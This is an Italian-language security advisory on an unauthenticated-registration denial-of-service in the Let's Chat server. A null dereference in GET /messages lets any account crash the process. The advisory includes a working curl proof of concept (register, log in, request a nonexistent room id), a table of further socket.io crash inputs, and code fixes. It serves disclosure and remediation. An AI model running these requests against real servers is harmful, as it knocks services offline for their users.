
Avviso di sicurezza: la ricerca non controllata delle stanze porta al crash del server (Let's Chat)
CVE ID assegnato: CVE-2026-66749
Una singola richiesta HTTP da qualsiasi account autenticato arresta il processo del server Let's Chat.
GET /messages accetta un parametro room, cerca quella stanza per id e poi chiama un metodo sul risultato senza verificare che la ricerca abbia restituito qualcosa. Inviando un id che sia una stringa esadecimale valida di 24 caratteri ma che non appartenga ad alcuna stanza, il TypeError risultante viene lanciato all'interno di una callback di Mongoose. Express intercetta solo le eccezioni sollevate in modo sincrono all'interno di un handler, quindi questa raggiunge Node come eccezione non catturata e il processo termina.
URL del repository: https://github.com/sdelements/lets-chat
Vulnerabile dalla 0.4.0 (commit 84981a6, 21 febbraio 2015, che ha introdotto la chiamata canJoin) fino alla 0.4.8, l'ultima release. Non esiste una versione corretta.
Confermato sulla 0.4.8 al commit 617207f e su docker.io/sdelements/lets-chat:latest (0.4.7), che è ancora pubblicamente scaricabile.
CWE-476: Dereferenziazione di puntatore nullo, che porta a CWE-248 Eccezione non catturata e CWE-400 Consumo incontrollato di risorse.
Punteggio base CVSS 4.0: 7.1 (Alto)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
L'attaccante ha bisogno di un normale account utente e dell'accesso di rete alla porta HTTP. Non deve possedere o appartenere ad alcuna stanza, conoscere alcun id di stanza esistente né detenere alcun ruolo elevato.
Il requisito dell'account è debole in un'installazione predefinita, perché auth.local.enableRegistration è impostato su true in defaults.yml; quindi chiunque riesca a raggiungere la pagina di login può creare un account e poi eseguire la richiesta.
Né il Procfile (web: npm start) né docker/docker-compose.yml configurano un supervisore o una policy di riavvio; quindi in una distribuzione standard una singola richiesta mette fuori servizio il servizio finché un operatore non lo riavvia. Nel caso in cui un operatore abbia aggiunto la supervisione dei processi, l'attaccante può semplicemente ripetere la richiesta.
La route non registra alcun middleware di validazione della stanza. app/controllers/messages.js:25-32:
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
Si confronti app/controllers/messages.js:34-41, dove la variante con ambito stanza aggiunge middlewares.roomRoute, che risolve la stanza e restituisce 404 quando non esiste:
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
Quindi su /messages il valore room raggiunge il manager senza validazione.
app/core/messages.js:118-129:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
Model.findById richiama la callback con (null, null) quando l'id viene convertito correttamente ma non corrisponde ad alcun documento. Non c'è alcun controllo if (!room), quindi la riga 129 dereferenzia null.
Output osservato:
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
Contro un'installazione standard sulla porta 5000, senza modifiche di configurazione:
BASE=http://localhost:5000
# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"[email protected]",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
Il passo 3 non restituisce alcun body e curl termina con il codice 52 (risposta vuota dal server). Il processo del server è terminato. Qualsiasi id di 24 caratteri esadecimali che non corrisponde ad alcuna stanza funziona.
express.oi registra ogni chiave app.io.route(...) come un normale handler socket.on(...) (initRoutes in node_modules/express.oi/lib/index.js). Un client socket.io autenticato può quindi chiamare direttamente questi handler, saltando la catena di middleware Express inclusa roomRoute. Inoltre rimuove il try/catch di Express, quindi un'eccezione sincrona che su HTTP sarebbe un 500 uccide il processo su socket.io.
Anche ciascuno dei seguenti termina il processo. Tutti confermati.
Proteggere le ricerche. In app/core/messages.js:118 e app/core/files.js:156:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
app/core/rooms.js:234 necessita dello stesso trattamento prima di chiamare sanitizeRoom, e app/core/rooms.js:248 dovrebbe rifiutare un options.identifier mancante o non stringa.
Due modifiche chiuderebbero l'intera classe di problemi anziché queste singole istanze. In primo luogo, convertire e validare i parametri di query che si presume siano stringhe (expand, room, id, take, skip) al confine del controller. In secondo luogo, avvolgere l'invocazione degli handler socket.io in un try/catch e collegare un handler process.on('uncaughtException'), così una singola richiesta errata degrada a una risposta di errore invece di fermare il server.
| Raggiungibile tramite | Input | Punto di lancio |
|---|
| HTTP e socket.io | messages:list, room impostato su un id inesistente | app/core/messages.js:129 |
| HTTP e socket.io | files:list, room impostato su un id inesistente | app/core/files.js:167 |
| socket.io | rooms:get con un id inesistente, o senza id | app/core/rooms.js:213 via :234 |
| socket.io | rooms:users senza stanza | app/core/rooms.js:248 |
| socket.io | rooms:join senza id | app/core/rooms.js:248 |
| socket.io | messages:list con expand come array | app/core/messages.js:97 |
| socket.io | files:list con expand come array | app/core/files.js:139 |
| socket.io | users:get con id come oggetto | app/models/user.js:139 |